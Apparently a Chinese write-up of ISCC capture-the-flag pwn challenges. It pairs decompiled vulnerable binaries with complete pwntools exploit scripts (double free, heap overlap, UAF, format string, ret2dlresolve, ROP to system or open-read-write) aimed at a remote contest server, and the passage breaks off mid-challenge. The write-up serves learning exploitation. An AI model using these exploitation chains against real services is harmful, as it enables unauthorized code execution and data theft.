这个时间太长了,后来出的题不会作,再后来都不想作了.最后差练武题最后一个和擂台最后一个,再后来就没上,不清楚后来还有没有题.
时间比较长有些题都不好找了,找着也忘得差不多了,尽量补齐吧.
Double
从名字看是double free的意思,代码都在一起.free的时候没删指针,只置size=0,而且add,show,edit都进行了size检查,唯独free没有.确实存在double,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[268]; // [rsp+0h] [rbp-130h] BYREF
int v5; // [rsp+10Ch] [rbp-24h]
int v6; // [rsp+110h] [rbp-20h]
int v7; // [rsp+114h] [rbp-1Ch]
char *v8; // [rsp+118h] [rbp-18h]
int size; // [rsp+124h] [rbp-Ch]
int idx; // [rsp+128h] [rbp-8h]
int v11; // [rsp+12Ch] [rbp-4h]
init();
dword_6021E0 = 127;
while ( 1 )
{
v11 = menu();
if ( v11 == 5 )
break;
switch ( v11 )
{
case 1: // add
idx = get_idx(); // <0xff
if ( !sizes[idx] )
{
size = get_size();
v8 = (char *)malloc(size);
if ( !v8 )
out(byte_400D5C);
(&ptrs)[idx] = v8;
sizes[idx] = size;
}
break;
case 2: // free
v7 = get_idx();
free((&ptrs)[v7]);
sizes[v7] = 0;
break;
case 3: // show
v6 = get_idx();
if ( sizes[v6] )
{
if ( v6 > 31 )
out(byte_400D39);
puts((&ptrs)[v6]);
}
break;
case 4:
v5 = get_idx();
if ( sizes[v5] )
{
printf(&byte_400D6C);
if ( read(0, (&ptrs)[v5], sizes[v5]) < 0 )
out(byte_400D85);
}
break;
default:
puts(&byte_400D98);
break;
}
}
if ( dword_6021E8 == 0x15CC15CC && dword_602228 == 0xCC51CC51 )
{
printf("congratulations! Give you a reward: %p\n", buf);
puts("please input what you want to say:");
read(0, buf, 0x100uLL);
end(buf);
}
return 0;
}add会在6024E0 的指针区放指针和 6020E0放size 对于libc-2.23来说fastbin可以进行aba的double但建块时会检查头大小是否相符.
思路:
先在62建个块,size用0x71,然后double free后利用这个头标记将块建到控制区0x6021E8, 0x602228附近,控制这个区域写入指定值得到溢出.写入足够长的payload中转到后门
from pwn import *
#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')
menu = bytes.fromhex('EFBC9A')
def add(idx,size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg)
add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))
#gdb.attach(p, 'b*0x400939\nc')
p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh = 0x6021e0
p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()
Chef
第二个堆题,依然是libc-2.23这么古老有docker已经很少见了,这题会不会是5年前出的
第一层菜单为了浪费时间,选4进行第二层,在edit的时候长度可以自己输有溢出
unsigned __int64 change_food()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of food:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(_QWORD *)&foodlist[4 * v1 + 2] )
{
printf("Please enter the price of food :");
read(0, nptr, 8uLL);
v2 = atoi(nptr); //输入长度,溢出
printf("Please enter the name of food:");
*(_BYTE *)(*(_QWORD *)&foodlist[4 * v1 + 2] + (int)read(0, *(void **)&foodlist[4 * v1 + 2], v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No food in the menu");
}
return __readfsqword(0x28u) ^ v5;
}思路:
先通过溢出修改下一块的size,释放进入unsort再建回来,利用残留的unsort与2块重叠,show得到libc地址,同样方法利用重叠块得到堆地址.并修改指针将one写到管理块的goodbye函数位置,退出时执行.
from pwn import *
#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
menu = b':'
def add(size, msg='A'):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
def show():
p.sendlineafter(menu, b'1')
def edit(idx,size,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
p.sendlineafter(menu, b'4')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x18)
add(0x48)
add(0x48)
add(0x18) #3
edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1
show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(0x48) #4
free(1)
free(4)
show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")
free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))
add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))
p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')
p.sendline('cat flag*')
p.interactive()Riddler
32位的程序更古老,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-119h] BYREF
int i; // [esp+2h] [ebp-118h]
_DWORD *v6; // [esp+6h] [ebp-114h]
int v7; // [esp+Ah] [ebp-110h]
int v8; // [esp+Eh] [ebp-10Ch]
int (**v9)(void); // [esp+12h] [ebp-108h]
_DWORD *v10; // [esp+16h] [ebp-104h]
_DWORD *v11; // [esp+1Ah] [ebp-100h]
void *ptr; // [esp+1Eh] [ebp-FCh]
_DWORD *v13; // [esp+22h] [ebp-F8h]
_DWORD *v14; // [esp+26h] [ebp-F4h]
char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
unsigned int v16; // [esp+10Eh] [ebp-Ch]
int *p_argc; // [esp+112h] [ebp-8h]
p_argc = &argc;
v16 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("Welcome to ISCC!");
puts("How do you learn pwn?(bush");
for ( i = 0; i <= 9; ++i )
*(&ptr + i) = 0;
ptr = fun_malloc20();
v13 = fun_malloc20();
v14 = fun_malloc20();
*(_DWORD *)ptr = fun_malloc20;
*v13 = fun2_puts_s;
v6 = v14;
*v14 = greeting;
while ( 1 )
{
while ( 1 ) // 1,free
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v7 = 3;
puts("Then?");
fgets(&s, 13, stdin); // s,i,v6,v7
puts("emmm?!");
fgets(nptr, 3, stdin);
nptr[1] = 0;
v8 = atoi(nptr);
if ( v8 >= v7 )
break;
v11 = v14;
((void (__cdecl *)(_DWORD))*v14)(*(&ptr + v8));
}
if ( s != '0' )
break;
if ( !*(&ptr + v8) )
goto LABEL_16;
v10 = v13;
((void (__cdecl *)(_DWORD))*v13)(*(&ptr + v8));// 0 show
}
if ( s != '1' )
break; // 1,free
if ( !*(&ptr + v8) )
goto LABEL_16;
free(*(&ptr + v8));
puts("!!!");
}
if ( s != '2' )
break; // 2 add
if ( *(&ptr + v8) )
goto LABEL_16;
v9 = (int (**)(void))ptr;
puts("!!!");
*(&ptr + v8) = (void *)(*v9)();
}
if ( s != '3' ) // edit
break;
if ( v8 > 2 && *(&ptr + v8) ) // >2
{
fgets((char *)*(&ptr + v8), 32, stdin);
puts("!!!");
}
else
{
LABEL_16:
puts("???");
}
}
puts("It looks that you knew little about me.");
puts("What's more will you leave for me?");
fgets(nptr, 100, stdin);
return 0;
}管理块的ID跟用户块在一起,直接show得到程序加载地址,同时free也不清指针可以show和edit
利用fastbin指针得到堆地址,然后在前边的输入缓冲区找个位置(不能在开始,开始输入时会用)free得到unsort得到libc地址
将管理块释放,重建写入system,再执行.
每次正常单前要覆盖v7才能正常执行功能.
from pwn import *
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
elf = ELF('./Riddler')
libc = ELF('./libc.so')
def show(off):
p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def free(off):
p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def add(off):
p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def edit(off, msg):
p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
p.sendline(msg)
'''
0xffffcf40│+0x0000: 0x00000000 ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449 → <do_lookup_x+9> add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c → 0xf7fcd808 → 0x00000000
0xffffcf64│+0x0024: 0x5655b190 → 0x565557d5 → <Fun+0> push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c → 0xf7ffdc44 → 0xf7ffdc30 → 0xf7fd4000 → 0x464c457f
0xffffcf6c│+0x002c: 0x5655b160 → 0x565557aa → <fun+0> push ebp
0xffffcf70│+0x0030: 0x5655b190 → 0x565557d5 → <Fun+0> push ebp
0xffffcf74│+0x0034: 0x5655b1c0 → 0x565557fc → <greeting+0> push ebp
'''
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3)
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1b0))
add(5)
add(6)
edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(7)
edit(7, flat(libc.sym['system'], 0))
free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')
context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()困局
main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
in_it(argc, argv, envp);
result = puts("You can't escape. Stay in the eternal box");
for ( i = 0; i <= 1; ++i )
result = func_key();
return result;
}
__int64 func_key()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("This is a larger box");
read(0, buf, 0x10uLL);
if ( buf[1] == '9' )
func_1();
printf(buf); // 格式化字符串漏洞
return 0LL;
}
unsigned __int64 func_1()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("We have a lot to talk about");
read(0, buf, 0x100uLL);
return __readfsqword(0x28u) ^ v2;
}
先作第一次格式化字符串得到 canary,stack,libc然后写ORW
from pwn import *
p = remote('59.110.164.72',10066)
#p = process('./Trapped')
context(arch='amd64', log_level = 'debug')
libc = ELF('./libc.so.6')
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p,%10$p')
p.sendafter(b"We have a lot to talk about", b'AAA')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - libc.sym['__libc_start_main'] - 240
stack = int(p.recv(14),16) -0x80
pop_rdi = 0x0000000000400a23 # pop rdi ; ret
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rdx = next(libc.search(asm('pop rdx; ret')))
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p')
p.sendlineafter(b"We have a lot to talk about", b'/flag'.ljust(40, b'\x00') + flat(canary, 0, pop_rdi, stack,pop_rsi,0,libc.sym['open'],pop_rdi,3,pop_rsi, stack-0x50,libc.sym['read'],pop_rdx,0x50, pop_rdi,1,pop_rsi, stack-0x50, pop_rdx,0x50, libc.sym['write']))
p.interactive()
eat_num
32位PIE未开,有溢出,感觉怎么也应该放到第1个,不过只有read没有输出,只能用一次过的ROP
int __cdecl main(int argc, const char **argv, const char **envp)
{
eat();
return 0;
}
ssize_t eat()
{
char buf[72]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u);
}板子
from pwn import *
#p = process(binary)
p = remote('59.110.164.72', 10067)
binary = 'p8'
elf = ELF(binary)
context(arch='i386', log_level='debug')
rop = ROP(binary)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x48 + p32(0) + rop_content
payload = payload.ljust(0x100, b'\x00') + dl.payload
p.send(payload)
p.interactive()SIMS
有UAF的堆题过于简单
void __cdecl dele()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
read(0, buf, 4uLL);
idx = atoi(buf);
if ( idx >= 0x10 )
{
puts("nonono!");
_exit(0);
}
if ( heaparray[idx] )
{
free(heaparray[idx]);
realsize[idx] = 0LL;
puts("Done !");
--num;
}
else
{
puts("No such Stu !");
}
}小板子
from pwn import *
#p = process('SIMS')
p = remote('59.110.164.72', 10085)
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./SIMS')
p.sendlineafter(b"welcome~ please input the password:\n" ,str(0x6b8b4567^0x15CC15CC).encode())
menu = b"please choose one!\n"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Age of Stu:\n", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendafter(b"Content of Stu:\n", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index:", str(idx).encode())
add(0x430)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
free(0)
show(0)
p.recvuntil(b"Content : ")
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free(3)
edit(3, p64(libc.sym['__free_hook']))
add(0x18)
add(0x18) #4
edit(3, b'/bin/sh\x00')
edit(4, p64(libc.sym['system']))
free(3)
p.interactive()三个愿望
read读入16字节，可以覆盖到v2,v3,c4,seed
__int64 begingame()
{
char s[2]; // [rsp+Ah] [rbp-16h] BYREF
int v2; // [rsp+Ch] [rbp-14h] BYREF
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
unsigned int seed; // [rsp+18h] [rbp-8h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
puts("Welcome to my world");
puts("Maybe you can make three wishes");
puts("In exchange, you have to guess what I think");
puts("Now you can make your first wish");
fflush(stdout);
memset(s, 0, sizeof(s));
read(0, s, 0x16uLL); // 覆盖所有
srand(seed);
v3 = 0;
while ( 1 )
{
v4 = rand() % 9 + 1;
puts("Please give me a number!");
fflush(stdout);
__isoc99_scanf("%d", &v2);
if ( v4 != v2 )
break;
if ( v3 )
thirdwish();
srand(v6);
v3 = 1;
secondwish();
}
return 0LL;
}第一次行泄露canary然后就可以溢出到后门
from pwn import *
from ctypes import *
#p =process('makewishes')
p = remote('59.110.164.72', 10001)
context.log_level = 'debug'
libc = cdll.LoadLibrary("./libc.so.6")
#gdb.attach(p, 'b*0x4012eb')
#s:2 v2:4, v3,v4,seed,v6
pay = b'AA'+p32(0)*5
p.sendafter(b"Now you can make your first wish\n", pay)
libc.srand(0)
v4 = libc.rand()%9 + 1
print(v4)
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your second wish!\n", b'%11$p,')
canary = int(p.recvuntil(b',' ,drop=True),16)
libc.srand(0)
v4 = libc.rand()%9 + 1
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your final wish!\n", p64(0)*5+p64(canary) + p64(0x404800) + p64(0x4011d6))
p.interactive()login
第1次读buf时覆盖到v6进入后读入v4，由于print_name里有溢出，直接溢出到one
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[256]; // [rsp+10h] [rbp-120h] BYREF
char buf[28]; // [rsp+110h] [rbp-20h] BYREF
int v6; // [rsp+12Ch] [rbp-4h]
init(argc, argv, envp);
puts("welcome to UserLoginSystem!");
printf("Here is a tip: %p\n", stdin);
v6 = 0;
puts("input the username:");
read(0, buf, 0x20uLL);
if ( v6 == 365696460 )
{
printf("correct username!");
puts("input the password:");
read(0, v4, 0x100uLL);
print_name(v4);
}
return 0;
}
int __fastcall print_name(const void *a1)
{
char dest[32]; // [rsp+10h] [rbp-20h] BYREF
memcpy(dest, a1, 0x100uLL);
return printf("Hello %s\n", dest);
}from pwn import *
#p =process('Login')
p = remote('59.110.164.72', 10000)
context(arch='amd64', log_level = 'debug')
libc = ELF('./libc-2.23.so')
p.recvuntil("Here is a tip: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")
p.sendafter(b"input the username:\n", b'A'*28 + p32(365696460))
p.sendafter(b"input the password:\n", b'A'*0x28 + p64(libc.address + 0xf03a4))
p.interactive()
Your_charactor
两层菜单题，有用的在第2层。
unsigned __int64 design_character_skill()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
while ( 1 )
{
puts("please design skills");
puts("--------------------------------");
puts(" 1. Create a skill ");
puts(" 2. Edit skill damage ");
puts(" 3. Edit skill introduction ");
puts(" 4. Show skill ");
puts(" 5. Delete a skill ");
puts(" 6. back ");
puts("--------------------------------");
printf("Your choice :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 == 6 )
break;
switch ( v1 )
{
case 1:
m11add();
break;
case 2:
edit_damage(); // realoc
break;
case 3:
edit_introduction(); // edit
break;
case 4:
show_skill();
break;
case 5:
delete_skill();
break;
default:
puts("invaild choice!!!");
break;
}
}
return __readfsqword(0x28u) ^ v3;
}edit有写溢出，通过溢出造重叠块，控制管理块。再通过unsort得到libc，最后通过向管理块的指针写one_gadget得到shell
from pwn import *
from itertools import *
#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')
libc = ELF('./libc.so.6')
elf = ELF('./your_character')
menu = b"Your choice :"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Damage of skill : ", str(size).encode())
p.sendafter(b"introduction of skill:", b'A')
def edit_size(idx, size):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Damage of skill : ", str(size).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendafter(b"introduction of skill : ", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index :", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')
p.sendlineafter(b"Your choice :", b'1') #in
for i in [0x80,0x18,0x18,0x18]:
add(i)
edit(1, b'A'*0x18+ p8(0x61))
free(2)
add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")
free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort
show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)
p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')
p.sendline(b'cat /flag*')
p.interactive()
谜语人
有管理块，就一般是攻击这个指针。有UAF。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-119h] BYREF
int i; // [esp+2h] [ebp-118h]
_DWORD *v6; // [esp+6h] [ebp-114h]
int v7; // [esp+Ah] [ebp-110h]
int v8; // [esp+Eh] [ebp-10Ch]
int (**v9)(void); // [esp+12h] [ebp-108h]
_DWORD *v10; // [esp+16h] [ebp-104h]
_DWORD *v11; // [esp+1Ah] [ebp-100h]
void *ptr; // [esp+1Eh] [ebp-FCh]
_DWORD *ptr1; // [esp+22h] [ebp-F8h]
_DWORD *ptr2; // [esp+26h] [ebp-F4h]
char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
unsigned int v16; // [esp+10Eh] [ebp-Ch]
int *p_argc; // [esp+112h] [ebp-8h]
p_argc = &argc;
v16 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("Welcome to ISCC!");
puts("How do you learn pwn?(bush");
for ( i = 0; i <= 9; ++i )
*(&ptr + i) = 0;
ptr = (void *)malloc20();
ptr1 = (_DWORD *)malloc20();
ptr2 = (_DWORD *)malloc20();
*(_DWORD *)ptr = malloc20;
*ptr1 = puts_s;
v6 = ptr2;
*ptr2 = func_null;
while ( 1 ) // add_20
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v7 = 3;
puts("Then?");
fgets(&s, 13, stdin); // s,i,v6,v7
puts("emmm?!");
fgets(nptr, 3, stdin);
nptr[1] = 0;
v8 = atoi(nptr);
if ( v8 >= v7 )
break;
v11 = ptr2; // greeting
((void (__cdecl *)(_DWORD))*ptr2)(*(&ptr + v8));
}
if ( s != '0' )
break; // show
if ( !*(&ptr + v8) )
goto LABEL_16;
v10 = ptr1;
((void (__cdecl *)(_DWORD))*ptr1)(*(&ptr + v8));
}
if ( s != '1' )
break; // free
if ( !*(&ptr + v8) )
goto LABEL_16;
free(*(&ptr + v8));
puts("!!!");
}
if ( s != '2' )
break; // add_20
if ( *(&ptr + v8) )
goto LABEL_16;
v9 = (int (**)(void))ptr;
puts("!!!");
*(&ptr + v8) = (void *)(*v9)();
}
if ( s != '3' )
break;
if ( v8 > 2 && *(&ptr + v8) ) // edit
{
fgets((char *)*(&ptr + v8), 32, stdin);
puts("!!!");
}
else
{
LABEL_16:
puts("???");
}
}
puts("It looks that you knew little about me.");
puts("What's more will you leave for me?");
fgets(nptr, 100, stdin);
return 0;
}把指针改为system
from pwn import *
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
elf = ELF('./Riddler')
libc = ELF('./libc.so')
def show(off):
p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def free(off):
p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def add(off):
p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def edit(off, msg):
p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
p.sendline(msg)
'''
0xffffcf40│+0x0000: 0x00000000 ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449 → <do_lookup_x+9> add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c → 0xf7fcd808 → 0x00000000
0xffffcf64│+0x0024: 0x5655b190 → 0x565557d5 → <Fun+0> push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c → 0xf7ffdc44 → 0xf7ffdc30 → 0xf7fd4000 → 0x464c457f
0xffffcf6c│+0x002c: 0x5655b160 → 0x565557aa → <fun+0> push ebp
0xffffcf70│+0x0030: 0x5655b190 → 0x565557d5 → <Fun+0> push ebp
0xffffcf74│+0x0034: 0x5655b1c0 → 0x565557fc → <greeting+0> push ebp
'''
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3)
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1b0))
add(5)
add(6)
edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(7)
edit(7, flat(libc.sym['system'], 0))
free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')
context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()
第一用笔
这是个猜迷，从网上搜到提示然后拼成拼音。然后在func_2溢出到后门，后门有3个，两个假的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
func_1(argc, argv, envp);
func_2046();
write(1, "Let me test your learning achievements\n", 0x27uLL);
func_2();
puts("Is there anything hidden");
return 0;
}
ssize_t func_2046()
{
ssize_t result; // rax
char v1[80]; // [rsp+0h] [rbp-B0h] BYREF
char buf[80]; // [rsp+50h] [rbp-60h] BYREF
FILE *stream; // [rsp+A0h] [rbp-10h]
int j; // [rsp+A8h] [rbp-8h]
int i; // [rsp+ACh] [rbp-4h]
puts("Have you understood the nine stroke?");
puts("from 0 to 7 is 'dunbi000'");
puts("and 40 to 47 is 'nvfeng00'!");
stream = fopen("code.txt", "r");
if ( !stream )
{
puts("It may be in some trouble");
exit(0);
}
for ( i = 0; i <= 71; ++i )
__isoc99_fscanf(stream, "%c", &v1[i]);
fclose(stream);
result = read(0, buf, 0x49uLL);
for ( j = 0; j <= 71; ++j )
{
result = (unsigned __int8)buf[j];
if ( v1[j] != (_BYTE)result )
{
puts("You need to learn more cultural knowledge");
exit(0);
}
}
return result;
}
ssize_t func_2()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Knowledge needs to be learned bit by bit");
puts("And you may need to review again and again");
puts("or you can look for other space");
return read(0, buf, 0x30uLL);
}from pwn import *
from itertools import *
#p =process('usage_of_pen')
context.log_level = 'error'
libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
ss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p = remote('59.110.164.72', 10002)
p.sendafter(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
msg = p.recvline()
context(arch='amd64', log_level = 'debug')
p.sendafter(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))
p.send(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
p.send(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.sendline('cat flag*')
p.interactive()
#yz8f=clntclzz
#anyagougedi过了N天后，这题目录下多了一个文件 文件见容是anyagougedi 是第三裹束的提示1
第二识势
前边就是一堆瞎绕，然后后边溢出直接溢出就OK，
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-B0h] BYREF
void *v5; // [rsp+80h] [rbp-30h]
char *v6; // [rsp+88h] [rbp-28h]
size_t size; // [rsp+90h] [rbp-20h]
_QWORD *v8; // [rsp+98h] [rbp-18h]
ssize_t v9; // [rsp+A0h] [rbp-10h]
void *s; // [rsp+A8h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Welcome to the second class");
puts("Here you need to understand the trend and change of top");
s = malloc(0x10uLL);
memset(s, 65, 0x18uLL);
puts("Start injecting");
